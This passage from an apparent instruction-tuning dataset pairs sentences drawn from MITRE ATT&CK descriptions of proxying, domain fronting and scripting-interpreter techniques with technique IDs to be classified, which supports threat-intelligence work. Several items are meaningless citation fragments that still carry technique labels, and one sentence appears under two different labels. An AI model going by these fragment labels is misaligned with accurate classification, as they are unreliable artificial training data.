text. ### Input: If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored). ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "output": "T1090.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic will appear to be going to domain-x, however the CDN may route it to domain-y. ### Response: T1090.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.", "output": "T1090.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server. ### Response: T1090.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may chain together multiple proxies to further disguise the source of malicious traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "output": "T1090", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic. ### Response: T1090."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Visual Basic (VB) for execution.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Visual Basic (VB) for execution. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation:", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VB .NET", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VB .NET ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mar 2020)(Citation:", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mar 2020)(Citation: ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VB Microsoft)", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VB Microsoft) ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use VB payloads to execute malicious commands.", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use VB payloads to execute malicious commands. ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation:", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Default VBS macros Blocking )", "output": "T1059.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Default VBS macros Blocking ) ### Response: T1059.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse AppleScript for execution.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse AppleScript for execution. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These AppleEvent messages can be sent independently or easily scripted with AppleScript.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These AppleEvent messages can be sent independently or easily scripted with AppleScript. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation:", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SentinelOne AppleScript)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SentinelOne AppleScript) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AppleScripts do not need to call <code>osascript</code> to execute.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AppleScripts do not need to call <code>osascript</code> to execute. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, they may be executed from within mach-O binaries by using the macOS", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, they may be executed from within mach-O binaries by using the macOS ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely.", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation:", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SentinelOne macOS Red Team)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SentinelOne macOS Red Team) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", "output": "T1059.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) ### Response: T1059.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Windows command shell for execution.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Windows command shell for execution. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", "output": "T1059.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. ### Response: T1059.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Unix shell commands and scripts for execution.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Unix shell commands and scripts for execution. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.)", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell)", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Unix shells to execute various commands or payloads.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Unix shells to execute various commands or payloads. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004).", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.", "output": "T1059.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence. ### Response: T1059.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CLIs typically contain various permission levels required for different commands.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CLIs typically contain various permission levels required for different commands. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the network CLI to change how network devices behave and operate.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the network CLI to change how network devices behave and operate. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution) ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse Python commands and scripts for execution.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse Python commands and scripts for execution. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python is a very popular scripting/programming language, with capabilities to perform many functions.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python is a very popular scripting/programming language, with capabilities to perform many functions. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python code can also be compiled into binary executables.", "output": "T1059.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Python code can also be compiled into binary executables. ### Response: T1059.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Python comes with many 